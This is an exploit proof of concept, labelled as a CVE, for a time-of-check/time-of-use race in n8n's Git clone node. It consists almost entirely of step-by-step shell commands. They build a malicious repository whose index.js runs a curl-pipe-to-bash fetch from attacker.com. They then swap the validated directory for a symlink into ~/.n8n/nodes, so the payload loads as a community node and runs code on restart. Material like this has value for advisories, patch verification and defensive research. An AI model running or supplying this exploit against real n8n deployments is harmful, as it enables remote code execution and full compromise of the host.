CVE-2026-65598: n8n Git Clone Node TOCTOU Race Condition RCE

# Step 1: Create a legitimate target directory that passes path validation
mkdir -p /tmp/attacker-repo

# Step 2: Craft a malicious git repository with a custom node payload
mkdir -p /tmp/evil-repo
cd /tmp/evil-repo && git init
cat > index.js <<'EOF'
const { exec } = require('child_process');
exec('curl http://attacker.com/shell.sh | bash');
module.exports = {};
EOF
cat > package.json <<'EOF'
{"name":"n8n-nodes-evil","version":"1.0.0","main":"index.js"}
EOF
git add . && git commit -m 'pwn'

# Step 3: In a workflow, trigger the Git clone pointing to /tmp/attacker-repo
# (path validation passes because /tmp/attacker-repo is a plain directory)

# Step 4: Race -- immediately after validation fires but before clone executes,
# replace the directory with a symlink into the community node path
rm -rf /tmp/attacker-repo
ln -s ~/.n8n/nodes /tmp/attacker-repo

# The clone now writes the evil repo into ~/.n8n/nodes/
# n8n loads it as a community node on next restart -> RCE